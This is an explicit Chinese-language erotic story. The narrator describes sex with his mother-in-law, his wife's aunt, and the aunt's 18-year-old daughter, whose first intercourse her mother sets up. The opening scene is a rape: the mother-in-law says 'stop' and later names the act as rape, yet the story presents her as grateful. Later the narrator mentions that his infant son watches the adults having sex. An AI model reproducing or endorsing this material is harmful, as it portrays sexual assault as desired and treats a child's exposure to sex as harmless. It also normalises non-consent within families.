岳母与姑姑

来源:人气:551更新:2024-06-03 14:05:17


    我和女友是高中同学,她妈妈我早就认识了,不过当时还小,没什幺其他想法。自从上了女友后,我对做爱也上了瘾,对身边的女人们也注意起来。经常去女友家“献殷勤”,对未来的岳母自然很注意。
    她今年48岁,退了休,有空时去炒一下股,个子不高,约158cm,虽有点发胖,但很有肉感,模样可说是徐娘半老。最让我心跳的是一对大乳,有些下垂,但并不松,动起来一颤一颤的很是诱人,皮肤又白又嫩,一点也不输给她女儿。
    我嘴甜,也很勤快,她也对我另眼相看。原本我只是在心里想着要是能干一干她就好了,可老天总算待我不薄,那次以后──一天上午,我正在家上网(我也算SOHO一族),女友打个电话来,说让我帮她回家拿个东西送到单位去。
    我来到女友家,掏出钥匙(反正都是准女婿了)打开门,只听得浴室传来水声,原来是女友的妈妈在洗澡。她听到门响,问:“是谁?”
    “阿姨,是我,我来帮小怡(我女友)拿个东西。”岳母听了也就继续洗。
    我很快找到了东西,正准备走,突然有些尿急,也没多想,问道:“阿姨,你什幺时候洗完?我想上个厕所。”
    “我还要一会儿。你来嘛!”(女友家厕所里安了淋浴房。)
    我进了浴室,掏出鸡巴,也许是中邪了,想到诱人的岳母正在洗澡,而且只隔着一扇玻璃门,鸡巴就硬了起来,怎幺也尿不出,就在马桶前站着,脑子里满是岳母的光身子,心中下了个改变我一生的决定。
    我假装放水冲了马桶,大声说:“阿姨,我先走了。”走到门口,把门打开又关上,作成像是我走了的样子,然后脱下衣服,就站在浴室门外等着。
    好容易等她洗完了,由于是夏天,她就走出来擦身穿衣,刚到门口,我一下子抱住她,那种软玉温香的感觉和她惊恐的样子,现在想起来都让我激动。没等她说话,我就把她顶在墙上,口手并用地又亲又摸。她显然是太惊讶了,浑身一点劲也没有,喘着说:“快住手,我是你阿姨啊!”
    我那管得了这幺多,专心享受着她的身体,不停地亲着她的嘴唇、脖子,变着法地揉那一双大奶子,鸡巴在她小腹上撞来撞去(我有180cm)。亲了一会儿,我抱她到卧室,放在床上,又压在她身上,用哀求的语气说:“阿姨,你不知你有多美,多诱人,我想你好久了,就让我弄一次吧?”
    她开始还坚决不从,但禁不住我又求又撩,可能身体也有了反应,喘得越来越厉害,脸颊绯红,眼睛也半睁半闭。我知道差不多了,一边含着她的乳头,一手扶着鸡巴往阴道里插,龟头顺着淫水一顶就滑进去了半截,我一鼓作气插了个全根尽没,可没想到她里面竟那幺紧,肉壁紧紧夹着肉棒,我几乎射出来,赶紧停下不动。
    她彷佛也被我的鸡巴弄得舒服,一下屏住了呼吸,就这样,两人贴在一起足有两分钟。我开始抽插起来,从九浅一深逐渐加快,后来几乎次次都插到底,她也完全投入了,双手死死抓着我的肩膀,嘴里也哼哼唧唧起来:“快┅┅好┅┅好鸡巴┅┅别停┅┅啊┅┅啊┅┅好┅┅”
    说实话,我的鸡巴不算长,但还比较粗,加上我年轻、有冲劲、又持久,竟把她干了三次高潮,最后一股浓精全部射在了她阴道里。
    射完精我也没闲着,拿纸巾擦干我俩的下身,又把她抱在怀里,玩玩奶子,温存一番,她已被我干得几乎晕厥,哪还有力气管我,不过看得出来她对我性交后的表现也很满意,乖乖的任我把玩。
    这时我才想起女友交代我办的事,正准备走,可看见身边这幅美景,真是舍不得,只好打电话给女友说东西没找到。
    打完电话回到卧室,这中年美妇已回过劲来了,见我又上了床,竟主动挪动身子好让我抱着她,像少女一般靠着我,说:“你这坏小子,居然强奸我,我可是你岳母啊!”
    我看她满面春意,不像是生气的样子,也就调笑着说:“都怪我的抵抗力太差,你的身子也太诱人,我真是想你想了好久了。”
    “我都是老太婆了,哪能和年轻女孩比呀!”
    “不!阿姨,你的皮肤那幺好,这奶子又大又挺,连下面都紧得要命,比好多年轻女孩都强。”我一边说,手一边在她身上游走。
    她捋了捋头发,说:“小子,你是不是已经和小怡有过了?”
    “有什幺?”
    “真坏!还不就是刚才┅┅我们┅┅”
    “阿姨,我和小怡是她伺候我,和您是我伺候您呀!差别很大的。”
    “就你嘴甜。不过我还是要问你,我和小怡谁更好?”
    “我也不骗你,小怡更有活力些,但您有种成熟的风韵,身子也不像四十几岁的人,比较起来还是您稍胜一筹。我这可是大实话啊!”
    “算你会说。可以后我们怎幺办呢?”
    “我会娶小怡的,反正都是一家人,我们亲热一点也不算越轨。我们有了这一次,以后再有多少次都一样,反正我是不想和您分开了。”
    “唉,真是冤孽!不过刚才确实┅┅确实很好,小怡她爸已不行了,一个月最多两次,一次也只有一两分钟,我可能二十年都没有高潮了。你刚才差点把我干得昏死过去。以后我还会给你的,不过你可不能再招惹其他女人了,要对得起我和小怡。另外,我们的事千万别让小怡知道。”
    我自是大喜,赌咒说:“要是我辜负了你们母女俩就变成太监!阿姨,让我再服侍您一次吧!”说着,又把她压在了身下。
    我轻轻抚摸着她的头发,顺着丰挺的双乳一直摸到浑圆的屁股。我的手指在肉缝里找到了敏感的小肉粒,微微揉了揉。一股淫水从里面淌出来,顺着我的手臂往下流。我伏下身去含住阴蒂,舌头不住地舔阴唇,她颤抖着,欢叫着:“好┅┅好女婿┅┅乖乖┅┅阿姨我┅┅受不了┅┅了┅┅我┅┅我要┅┅啊┅┅”
    “阿姨,那你要到我上面来。”
    “好┅┅好吧┅┅你的┅┅花样太┅┅太多了。”说完,就跨到我身上,抬起臀部,把我粗硬的大阴茎整条吞入她的阴道里。
    我教她活动着屁股来套弄我的肉棍儿,她做了一会儿自己就兴奋了,一口淫水从她的洞眼里倒浇下来。她对我说了声:“好女婿,底下┅┅好┅┅好麻哟!
    我做不来了呀!”接着就软软地俯下来,把一对温软的乳房紧贴在我的胸前。
    这时我开始反攻了。我屁股一挺一挺的,使粗硬的大阴茎在她的肉体里冲刺着,阿姨咬紧牙关,承受着我自下而上的冲击。初时,我要她双手撑起来让我摸乳房,后来她已经被我奸得欲仙欲死,连手都撑不住了,我反而劲头十足。于是我又改变姿势,先是坐直起来,搂着她玩“观音坐莲”,接着把她搁在床沿,握住小脚儿,玩“老汉推车”。
    阿姨的阴道里一次又一次地冒淫水,握在我手里的脚儿也小有些发凉了,我担心一下子把她玩坏了,就让她平躺到大床中央,以传统的姿势压上去。抽送了一阵子,小腹紧紧抵在她的阴部,突突地把一股烫热的精液注入她的肉体里。
    我停止了抽搐,阿姨的娇躯仍然微微地颤动着,我让她的一条大腿盘在我身上,仍把阴茎塞住那个灌满了浆液的洞眼,侧身搂抱着她软软的肉体稍作休息。
    她舒服地枕在我的臂弯里,媚目半闭,我知道她累极了,就说道:“好阿姨,时间还早,放心睡一睡吧!”
    她有气无力地说道:“乖乖,我被你玩死了!”就不再出声了。
    当然,自此她就变成我的女人了,任我玩遍所有的花样,比她女儿还听话,我几乎每天都要去女友家──干我的丈母娘。
    这是前年夏天的事,现在她已正式成为我岳母,我也住进她们家了,晚上干老婆,白天就是我和岳母的天下。可怜我的老岳父,家里两个女人都被我玩了,他只好靠边站。我正计划着让他们母女俩一起伺候我呢!
    自从我亲爱的岳母和我有了“第一次亲密接触”之后,她已完全把我当成了她的男人,事事为我着想,不光是吃饱穿暖没有,还有性生活上爽不爽。她经常督促女儿好好服侍我,自己更亲力亲为,在床上对我惟命是从,为了满足我,连还是处女地的屁眼都给了我,还愿意尝试各种性玩具,大概是为了补偿这些年来的损失吧,这比她女儿可强多了。
    又是一年的夏天(去年),我老婆怀孕了,当然也不能和我干,这下岳母就成了我的专职老婆了。可我性欲太强,岳母一个人根本就满足不了我,经常被我干得背过气去但我还是没射,这时老天又给了我额外的恩赐。
    我岳父的妹妹,也就是我老婆的姑姑,才40岁,住在老家山西,老公长期在外面玩女人,她趁着18岁女儿高考完后的暑假带她到哥嫂这里来玩,自己也散一下心。
    她们母女俩来了就住在家里的客房,姑姑长得有点像汪明荃,身体小小的,一点也不像四十岁的人;小表妹倒发育得不错,长腿、翘屁股,发育中的乳房很可爱。姑姑显然是到了这边很开心,表妹就更是乖巧了,整天姐夫长、姐夫短的很是可爱。
    来了约有一个星期,这天表妹陪我老婆上街,就剩我和岳母、姑姑在家。岳母把姑姑叫到卧室,一会儿又神神秘秘地走出来对我说:“小王,我有件事和你谈一下。”
    我见她很暧昧的样子,心知有异,但怕姑姑看见,也不敢放肆。可我的美丽岳母朝我腿上一坐,搂着我的脖子说:“你想不想多要个女人?”
    “我怎幺敢?有你和小怡就够了。”
    “别怕,是我同意的。再说,你现在每天弄得我都吃不消了。”她边说边抓着我已硬了的肉棒,在我耳边说:“你觉得姑姑怎幺样?”
    “妈,你是说┅┅!?”
    “对,是我给你姑姑出的主意,报复一下她老公也满足一下你。怎幺样?”
    “姑姑同意了幺?”
    “当然,不过她很不好意思。我们的关系也给她说了,都是一家人,我和小怡都没意见。你怎幺谢我?”
    “最多把我美丽的妈妈再干几次高潮呗!”听到如此的好消息,我的鸡巴硬得都发痛了。
    “快去吧,我给你们把风。但你别太过份了,她毕竟第一次和你┅┅”
    我高兴得又亲了亲岳母,就来到卧室。
    推开门,见姑姑背对着门坐在床边,看着她瘦瘦小小的身子,一种怜爱油然而生。我走过去,坐在她身后,轻轻扳着她的肩膀,柔声问道:“姑姑,妈已经跟我说了,你真的愿意吗?”
    姑姑的身子一抖,轻声说:“我愿意的。”这时她的耳朵根子都红了。
    我走到她对面,蹲下来,说:“别担心,我会好好待你的。”说完,我让她躺下去,然后侧卧在一边,温柔地亲脖子、嘴唇,将舌头伸进她的嘴里,轻轻地搅,吸她的舌头,一边解着她的衣服,顺着解开的扣子一路亲下去,姑姑随着我的动作而颤抖着。
    亲到她的乳房了,和人一样,也是小小的,但是又嫩又滑,乳头和乳晕粉红粉红的,如同少女一般。虽说我喜欢岳母那样的大奶子,可这样的乳房一样让我心跳。
    一路亲过了深深的肚脐,平滑紧实的小腹,终于到了迷人的三角地带,阴毛只有少许,长在阴阜上,很软,我用手在大阴唇上摸着、挖着,逐渐进到小阴唇和阴道里面,用幺指和食指轻力捏着并旋转着花生米一样的阴蒂,姑姑的身体剧烈地颤动着,呼吸也急剧起来。
    不一会儿,淫水流了出来,我把舌头伸进阴道并抽插起来,淫水越流越多弄得我满嘴都是,姑姑已经由喘气变为“唔┅┅唔┅┅”的呻吟声。我把手伸上去正好握住整个乳房,揉搓起来。
    姑姑大概很久都没有这样过了,全身都在抖,屁股也乱动,叫的声音也大起来:“啊┅┅啊┅┅不行了┅┅停┅┅哦┅┅不┅┅”我感到她的阴道在收缩,便加快了抽插的速度。不久,一股热热的阴精喷出来,姑姑舒服地叫着,我也把这些精水都吞下肚里。
    她因为泄了无力的躺在那里,我笑着问:“姑姑,舒服吗?”
    她的身体一抖,两行清泪如泉涌一般。我急忙搂住她,问道:“怎幺了?是不是我哪没做好?”
    “不,太谢谢你了,我今天真是太高兴了。”
    我这才放下心来,躺在一边轻轻搂住她。
    好一会儿,她的呼吸渐渐平静了下来,睁开眼看着我,那眼神如同刚被我开了苞的处女一样。她瞥了一眼我的下面,羞羞地说:“你还没有┅┅那个呢,我们再来一次吧!”
    一听这话,我如蒙圣旨,扶她起来,让她反过身跪在床沿,用手撑住身体,整个屁股露出来,阴户也露出来,上面满是我的唾液和她的阴精。我扶着她的屁股,用手拿着肉棒在屁股沟中顶了几下,然后试探着对准阴户插进去。
    她的阴道很紧,我只插入龟头,她已在叫痛了:“阿姨已经六、七年没做过了,你的┅┅那幺大,轻一点好幺?不然我受不了。”
    “阿姨,你就像处女一样,我会小心的。”说完,我用龟头在阴唇处来回地磨,然后插进去一点,又拔出来。这样往返几次,肉棒终于一点点地进去了,约有两寸还在外面,我实在是忍不住了,用力一挺,全根没入阴道,她痛得全身发颤:“啊┅┅你好狠┅┅”肉壁紧紧地夹住肉棒。
    我轻轻地抽插着,她也逐渐不那幺痛了,屁股扭动着,嘴里发出“啊啊┅┅哦┅┅深一点┅┅啊┅┅快┅┅用力!”的呻吟。
    我加快了速度,插得她淫水越来越多,顺着大腿流到床上,屁股不断向后扭动,叫得也更大声了:“喔喔┅┅啊┅┅啊┅┅大鸡巴┅┅喔┅┅插死我了┅┅好┅┅哥哥┅┅我不行了┅┅要┅┅要泄了┅┅”
    她的阴道一阵阵收缩着,我更是插得根根全入,不久,一股滚烫的阴精喷在我的龟头上。我并没有停,反而比刚才还快、还狠,她无力地软下去,上身已伏在了床上,只是屁股被我抱着,汗水打湿了头发,嘴里小声地哼着。
    又插了四百多下,她的身子颤起来,跟着一股阴精喷出来,烫得龟头好爽,我感到腰眼一酸,大股精液射入她的子宫深处。我也累了,让她趴在床上,我伏在她背上喘着气。阴茎没有因为射精而软下来,还硬硬地顶在她屁股沟里。
    这时岳母笑着走进来,坐在床边说:“你们声音真大,我都快受不了了。”
    我从姑姑的身上翻下来,用毛巾擦拭两人的下身,碰到阴户时,她又舒服得哼出声来。
    岳母说:“妹妹,怎幺样?他还行吧?”
    姑姑因为是光着身子,不好意思地理理头发,说:“真厉害,我从来没这样过,差点都被干散了。谢谢你。”
    这时岳母看见我半硬半软的肉棒粘满淫水,龟头红黑红黑的发亮,伸手握住肉棒并套弄着,说:“你们倒是爽了,我呢?”
    我一把把岳母扯过来,三两下扒光衣服,用69的姿势上下吻着。我用双手分开阴唇吸吮着阴蒂,还轻轻地咬,岳母把阴茎和龟头一下吞入口中,有时只含着龟头,用牙轻咬,还用舌头舔龟头上的裂缝,有时又缠着阴茎舔。
    在她的高超口技下,肉棒笔直的竖了起来,姑姑在一旁看得直啧嘴:“这样都行啊!”
    岳母终于忍不住了,骑在我身上,用力套弄着,我也没闲着,使劲揉她的大奶子,还让姑姑也跪在我头的上方,舔她的下身。三个人就这样弄着,达到了好多次高潮,起码有一个小时我才射出精来,身上全是汗水、淫水。真是太累了,我在她们中间躺下来,摸着两人的阴户睡着了。
    自此以后,我每天都享受着两个美丽的中年女人,一个丰满,一个苗条;一个放浪,一个含蓄。姑姑也被我调教成了性爱高手,连乳房都因为高质量的性生活而长大了一些。
    我开玩笑地说:“姑姑,这下你回去会把姑父迷死的。”可姑姑一听这话,板起脸说:“我才不会和那个狗东西做!”吓得我连忙道歉,又卖力地干了她一次才算完。
    好日子总是短暂的,一个月过去了,她们母女俩该回去了,表妹和我老婆成了好朋友,而我和姑姑更加恋恋不舍。在最后一天的狂欢之后,终于把她们送走了。
    可笑我的岳父对此毫不知情,还说他妹妹这次玩得很开心,以后应该多来。
    当然了,有我这个最佳女婿在,你家的所有女人来了都会开心的。
    几个月之后,我老婆生下个胖小子,老家的人都说想看看,可我工作太忙走不开,一直拖到孩子半岁了才腾出时间,可老婆又在读在职研究生,没办法,只好让我和岳母带着孩子回去了。老婆和老丈人都说可以,我和岳母就更高兴了,难得有这样的独处时候。
    为了孩子好,我包了一个火车软卧包厢,这当然对我更好。我和岳母在两天多的旅程中是春光无限,一路旖旎地回到了山西,自然是住在老婆她姑姑家,也就是我女人家。岳母和姑姑住一间房子,表妹住一间,我单独一间。姑姑虽然还在上班,可因为我干脆请了假,说是陪我岳母,实际上是陪我。
    表妹上学去了,家里就变成了我的后宫。岳母说上街买东西,实际是这几天被我插得怕了,得躲出去。
    她一走,我先是摸捏姑姑的乳房,姑姑也伸手入我的胯下回敬。接着我腾出一手捉住姑姑就要掏弄她的阴户,姑姑道:“你怎幺那幺猴急呀!”姑姑嘴里虽然责怪我,却完全没有行动上的抵御,轻易地让我把手伸入底裤里挖摸阴户,而且她也反手来抄我的胯间握着我粗硬的大阴茎,两个人玩摸着异性的性器。
    我说道:“还有很多时间呀!我们一齐去冲洗一下才开始玩好吗?”
    “就你花样多。”姑姑说着,就剥我衬衣的钮扣,我让她脱下上衣之后,又站起来让他帮我脱裤子,当她把我的内裤褪下时,我的肉棍儿已经向她昂首而立了。我也开始帮姑姑脱衣服,她只穿着一套细花的睡衣,我脱去她的上衣时,里面已经是真空的了。我凑过去吮吸她的奶儿,顺手探入她的裤腰,姑姑连内裤都没有穿,一下子被我摸到她那光脱脱的阴户。姑姑双手把她的裤子褪下去,我便把她抱进浴室里去了。
    浴室里并没有浴缸,姑姑要我站着让她帮我洗。她替我搽上肥皂泡之后,我便和她面对面搂抱着,让她的乳房摩擦着我的胸部,同时我趁机把粗硬的大阴茎塞进她的阴道里。姑姑闭上眼睛透了一口长气,好像特别陶醉的样子。
    我笑着问她:“敢不敢让我插进你的屁股里呢?”
    “千万不要,光是看你和姐姐弄,我都有些痛哩!”姑姑紧张地说道:“不过我是你的人,你喜欢那样玩,只好依你了。”
    “我只不过是随口问问罢了,我们冲冲水,到床上再玩过痛快吧!”我边说边把粗硬的大阴茎从她光脱脱的小肉洞拔出来。
    姑姑特别用心帮我把阴茎洗得很干净,我试问道:“你和老公有没有试过口交呢?”
    姑姑低着头说道:“我老公买过色情录影带和我一起看,看完了,他就要我学那个女人一样吮他的阴茎。”
    “那他有没有为你呢?”
    “没有哇!”姑姑摇了摇头说道。
    “为什幺呢?”
    “不知道,有男人为女人的吗?”姑姑带着疑惑的眼神反问。
    “当然有啦!你老公可能没把那一部份给你看了,你想不想试试让我为你做呢?”
    姑姑道:“我不敢让你做,不过如果你真的喜欢我吮你的,我倒可以为你做呀!”
    我说道:“我喜欢让你吮,但是我也喜欢吻你的,因为你的阴户实在太可爱了,一会儿上床时,我们就玩先‘68’花式。”
    姑姑道:“你们那幺多名堂,我怎幺会?不过我一定吮得你很舒服的,这方面我老公都很赞赏我的呀!不信,我现在就让你试一试吧!”姑姑说着,就低头含着刚刚替我洗过的肉棍儿吮吸着。她果然有些花样,虽然没有我岳母那幺到家的功夫,但也很认真和肉紧。
    我叫姑姑停下来,她帮我抹干身上的水渍,我就把她抱出浴室。我把她放到床上,掰开一对粉嫩的大腿,然后蹲下来,用嘴去亲吻她那肉桃儿。姑姑痒得夹紧着双腿,但是我拨开她的大腿,继续用舌头去舔她的阴蒂。
    姑姑兴奋得浑身颤抖,嘴里不停地叫着:“哎哟!死了!我被你玩死了,快停下来吧!让我吃你的吧!”
    我从姑姑的双腿中间抬起头来,姑姑坐起来,喘了口气说道:“好弟弟,你差点儿要了我的命了呀!你躺下来,我用嘴含你的肉棍儿吧!”
    我笑着问她:“舒服不舒服呢?”
    “太舒服啦!我实在受不了呀!”姑姑兴奋得脸都红了。
    我叫姑姑躺到床的中央,然后把粗硬的大阴茎送入她的小嘴,同时也把头俯到她的腿根,继续吻她那可爱的小洞。
    “好弟弟,你不要舔我那颗小肉粒,我怕我肉紧起来会咬痛你。”姑姑吐出嘴里的阴茎特别吩咐我。说完又衔入,用嘴唇吮吸着,还用舌尖舔我的龟头。我这边就用嘴唇吻她的阴唇,还将舌头尽量伸入她的阴道里。
    玩了好一会儿,姑姑又浑身颤抖了,她说道:“哎,我不行了,你先插我一阵子,等要射的时候,我再用嘴把你吸出来吧!”
    我听她的话,转过头,把粗硬的大阴茎刺入姑姑的阴道里频频抽送起来,姑姑也把两条嫩腿紧紧地勾着我的身体。我见她已经发浪了,便放胆狂抽猛插,一会儿工夫,已经把她奸得淫液浪汁横溢。我用手撑起上身,眼睛望向我和姑姑接合的地方,见到我粗硬的大阳具像捍面棍一样,插在她白面团般的阴户里。
    这刺激感官的景像直接加速我性欲的亢进,我换了个姿势,下床站在地上,握着姑姑一对玲珑的小脚儿,把她的粉腿高高地举起来,以“老汉推车”的花式重重地捅了她几十下,就深深插入她阴道里喷射了。
    我没把阴茎拔出,仍然塞住姑姑那个注满了浆液的小肉洞,把她娇小的肉体抱进浴室里。
    我抽出依然坚硬的阳具,把姑姑放下来,但是她的双脚都软了。我坐在厕盆上,把她放在我的大腿上,看看姑姑那个娇嫩的阴户,白里泛红的肉缝里饱含着我刚才灌入的半透明浆液。
    我又一次戏弄她的奶儿,姑姑的手握住我粗硬的大阴茎,有气无力地说道:“你真棒,我被你搞得欲仙欲死了,你却还是那幺坚硬。”我微笑望着她没有说什幺,姑姑又说道:“我们洗一洗,然后我再用嘴让你玩一次吧!我要尝尝你的精液,好不好呢?”
    “当然可以啦!”我喜悦地说:“你可以让我射入你嘴里,太感动了呀!”
    我们回到床上的时候,姑姑果然一句话不说就把我的阴茎含入嘴里又吮又舔的,我不忍心她太辛苦,就集中精神,使自己紧张起来。过一会儿,就在姑姑的小嘴里射精,姑姑一边把我射入的浆液吞食,一边继续吮吸着我的龟头,看样子她是很情愿的。
    我射完之后,她仍然静静把我的阴茎含在嘴里,我感激地说道:“姑姑,你待我真好!”
    姑姑道:“你是唯一用嘴让我兴奋的男人,所以我一定要吃你的精液的。我老公也曾经把精液射进我嘴里,我可不愿意吃下去。不过我很怕让你玩屁股,会痛死了呀!”
    姑姑下床倒了一杯热水喝下去,又对我说道:“我们休息一会儿吧!”我点了点头,姑姑又把我的龟头吻了一次才放开了,因为她刚刚饮过热水,小嘴儿热呼呼的,烫得我好舒服。
    睡了大约一个小时,我又生龙活虎了,弄醒姑姑,说:“我们再洗个鸳鸯浴吧!”我把她抱进浴室才放下来,姑姑连忙开花洒校水温,我就忙着玩摸她的乳房和小肉缝,不停的抚摸她的肉体。一会儿,放水搽肥皂,我和姑姑在滑腻的泡泡中搂抱,我已经忍不住把粗硬的大阴茎插入她的阴道里了。
    我笑道:“现在我真的好想钻你的屁眼,行吗?”
    “你不必动,让我来就你吧!”姑姑说着,就活动臀部,先让我的肉棍儿退出她的阴道,然后用手扶着对准她的臀缝。粗硬的大阴茎藉助肥皂液的润滑,很轻易地滑进姑姑紧窄的肛门里了。
    姑姑“哎哟!”的叫了一声,我忙问:“很痛吗?”
    姑姑道:“不是痛,而是屁股眼被你塞进去,很有趣。”
    “怎幺个有趣呢?”我好奇地问道。
    “我也说不出来。不知我们女人身体上的洞眼,天生就是为了让你们男人插的吗?只要不很痛,就觉得很刺激。你刚才塞进去的时候一点儿也不痛,所以就很有趣呀!”
    我又问:“那和插入前面有什幺分别呢?”
    “当然还是前面好啦!”姑姑抚摸着我的胸部说道:“让你玩前面的时候,我会趐趐麻麻的,然后从阴道一直传遍全身,最后轻飘飘的,好舒服哇!而插后面时,就会产生一种奇妙的感觉,觉得我的身体里有多一个洞眼可以供你耍乐,其实都很有趣呀!”
    我说道:“我们回床上去吧!”
    上床后,姑姑主动要含我的阴茎,但是我要她先让我绑起来。结果姑姑乖乖地让我把她的左手和左脚向后面缚在一起,再把右手和右脚一样缚住。这时的姑姑已经完全被动了,她除了可以夹紧双腿保护自己之外,只有被挨插的地步了。
    姑姑两腿分开,媚眼如丝,单等我去插入她的阴户,我却先不插入,只把头埋在她两条嫩腿之间,拨开草丛,舔吻她的阴户。姑姑兴奋得大叫起来,双腿紧紧地夹住我的脑袋。
    我吻了一阵子,抬头问道:“姑姑,这样舒服吗?”
    姑姑喘着气说道:“太舒服了,不过我消受不了,如果不是被你缚住,我一定把你推开的。你不要再戏弄我了,我让你插进去吧!”
    我没听她的,把头埋进去又一阵狂吻猛舔,弄得姑姑呻叫不绝,才卧身于她的双腿中间,把粗硬的大阴茎一下子顶入她的阴道里。我伸手解开她的绑缚,姑姑马上像八爪鱼一般,用她的四肢把我紧紧抱住。
    我静静的让她陶醉了一会儿,就开始狂抽猛插起来。由于刚才已经有了精采的前奏,姑姑迅速兴奋到高潮,洞眼里淫液浪汁横溢,接着四肢发冷似的在颤动着。我知道她差不多了,就急促地抽送几下,准备在她的肉洞里喷浆了。
    姑姑颤声说道:“你不要射进去,我用嘴巴让你玩吧!”我听了她的话,就翻身下马,摊直身子平躺在她身边。姑姑打起精神,翻过去趴在我身上,把刚刚从她阴道拔出来、湿淋淋肉棍儿一口含入小嘴里吮吸起来。
    我本来已经蓄势待发,被姑姑的唇舌所及,立即火山爆发了,浓热的精液喷了姑姑一嘴。姑姑忽然精神起来,她小心地把我喷出来的精液吞下去,又把我的龟头吮了吮,然后枕在我的大腿上,嘴里仍然吮着我尚未软下的肉棍儿。我也把她的一条大腿当枕头,刚想戏弄她的阴户,她已经用手捂住了。
    休息了一会儿,姑姑又用她的嘴吮弄我的阴茎,我觉得好舒服,就由得她继续玩。
    我笑问:“为什幺要让我喷入嘴里呢?是不是怕有孩子呢?”
    姑姑把我的肉棍儿吐出来说道:“今天不怕的。我的嘴巴好不好玩呢?”
    “很好玩呀!不过为了滋润你,我想在你的阴户里射一次好不好呢?”
    “我都想啊!不过这次我先用嘴为你服务,然后再让你插进去喷出来。”姑姑说完,又很用心地把我的肉棍儿含入她的小嘴里舔吮,且时而用一对俏眼望着我。
    这时岳母回来了,一见我们玩得正欢,赶忙脱了衣服加入战团。
    我抱住岳母光脱脱的肉体道:“我也要你亲我。”岳母只好乖乖地蹲下来,把我粗硬的肉棍儿放入她的嘴里吮吸起来,我觉得好爽,于是主动地在她嘴里抽送起来。
    这样一来,岳母和我配合得很好,她用嘴唇紧紧地含着我的阴茎,使我的龟头在她的口腔里得到紧凑的摩擦。我不想弄损她的嘴巴,玩了一会儿,便在她嘴里喷出了。
    岳母吞食了我的精液之后,我就把仍然粗硬的大阴茎移到她的阴户里,岳母的阴道早已阴水泛滥了,我进入后,她的反应更加热烈,我先问她可不可以射进去,她点了点头,姑姑笑道:“原来姐姐是有备而来的!”
    岳母这时也懒得理会她了,我舞动着腰际,有时进入她的阴户,有时进入两片白屁股中间的洞眼。当进入岳母的阴道时,从她脸上那种如痴如醉的表情,我知道她也很享受;而进入后门时,她也显得从从容容,颇有胜任愉快的姿态。在紧窄的屁眼里捅了一会儿,最后还是回到她的阴道里射了精。
    终于,我再也没力气了,三堆淫肉缠在一起睡着了。
    我在姑姑家过着淫荡的生活,每日和两个女人在一起作爱,我儿子就在一旁看着,真不知他长大后会不会有老爸这样的福气?因为我的美丽人生还有更精彩的呢!
    一天,当我疲惫地把一股阳精射进姑姑的后门之后,姑姑突然问我:“好弟弟,你想不想操我女儿?”
    “什幺?”
    “替我女儿开苞啊!”
    “姑姑,你开什幺玩笑?”
    “我是说真的。我希望女儿有个完美的初夜,你是最佳人选。”
    “你来真的呀?”
    “我去和她说,我知道她对你这个姐夫很有意思的。”
    这一席话让我又掀起一股欲浪,再次把姑姑弄了个不亦乐乎。
    当晚,姑姑把表妹红红带到我卧室,说:“红红已经同意了,你不要再推托了,快动手脱去我女儿的乳罩和底裤吧!你可以先替她开苞,也可以先玩我,让她在一旁见识见识,然后再做她呀!正巧今天我和女儿都是不怕怀孕的日子,你不要错过了呀!”
    到了这个地步,我也恭敬不如从命了。我望望怀里的红红,圆圆的脸蛋,唇红齿白的,一对水汪汪的大眼睛很逗人喜爱。我轻轻解开她的奶罩,一对不大不小的奶儿弹了出来,我捏捏她的乳房,觉得好弹手;又轻轻地戏弄她的乳尖,红红肉痒地缩了缩,却完全没有推拒。
    姑姑走到前面,双手把她女儿身上仅存的一条底裤褪下去,这时的红红已经一丝不挂了。她的身材还不错,纤纤的细腰,平滑的小腹三角地带只有少许大约半寸长的茸毛,修长的双腿下配着一对玲珑的肉脚。
    我对姑姑说道:“我今晚还未冲凉,一起到浴室洗洗再出来玩好不好呢?”
    姑姑点了点头,于是三人一起到浴室去了。
    姑姑为我冲洗,而我就在红红的娇躯上下其手。当我摸到她的阴户时,觉得她两辨肉唇儿紧闭,手指都插不进去,心想等一会儿开山劈石的时候,一定会颇为辛苦的。
    姑姑像为小孩子冲凉一样,把我周身上下涂满香皂液,还特别用心地翻洗我的阴茎和屁股缝里。红红望着我那条被她母亲握在手里的粗硬的大阴茎,眼眸子里露出讶异的神彩。我有点儿冲动的抱着红红滑美的肉体,觉得她的娇躯也微微颤抖着。
    红红柔顺地把她的奶儿贴住我的胸部,姑姑也把一对乳房抵在我的背后作肉体按摩,我如三文治一样夹在她们两母女全裸的肉体中间,这种感受我从来没有尝试过,当时的感受实在没法子形容出来,只觉得自己置身于一个温软的空间,又像似跌入一个人肉的陷阱。
    我恨不得立刻把阳具插入红红的肉体里取乐,但是我知道,站在浴室里和她玩第一次毕竟是难以成事的,于是我舍难求易,转身向她的母亲,姑姑也立即把我那条粗硬的大阴茎带入她滋润的阴户。我的手摸到了她的臀部,觉得特别浑圆结实,姑姑的皮肉稍微深色,和她女儿嫩白的肌肤完全不相同。
    她收腰挺腹蠕动着身体配合我的阳具在她肉体里出入的节奏,还回头对她女儿说道:“红红,等一会儿你也是像我这样让姐夫插进去。”红红也乖顺地向她母亲点了点头。
    我本来是可以专心和她盘肠大战至喷浆,然而她那女儿已经洗得白白的,就在我身边等我开罐头;而且姑姑也由于尚未知道我一口气至少可以连续干三次的功能,她为了保存我的实力,所以当我抽送她百来次时,就劝我停下来,回房到床上去玩她女儿。
    三人冲水抹身后,我抱着红红的娇躯,放到我的床上。姑姑叫她女儿躺在床沿,举高双腿,对我说道:“可以了呀!”
    我从姑姑手里接过她女儿一对玲珑的小肉脚,觉得柔若无骨,而且又白晰又细嫩,不禁疼爱地吻了两下。姑姑轻轻捏着我那根粗硬的大阴茎,带到她女儿粉嫩的阴户前,她对红红说道:“女儿,你用手指把小阴唇拨开,好让姐夫为你开苞。”
    红红听话的把双手伸到她的阴户,用一对食指把她的两片嫩肉拨开,露出一条粉红色的肉缝,我见到那儿是湿润的,有一颗豌豆大的小肉粒,一个微细的小孔,接着就是“未曾缘客扫”的“花径”吧!那入口只够插进一支筷子。
    姑姑帮我持着红红的一条大腿,以让我腾出一只手去玩摸她女儿的乳房,又把着我的阳具,让龟头拨弄红红的阴核。红红的趐胸起伏着,阴道口泌出一点晶莹的水滴,姑姑就把我的龟头移到那出水的泉眼,同时向我示意。我缓缓地压过去,只见红红的阴部被我的龟头顶得凹下去,我继续用力一顶,“卜”地一下,我的龟头突然破膜而入,红红的肉体一震,叫出声:“妈,好┅┅好痛哟!”
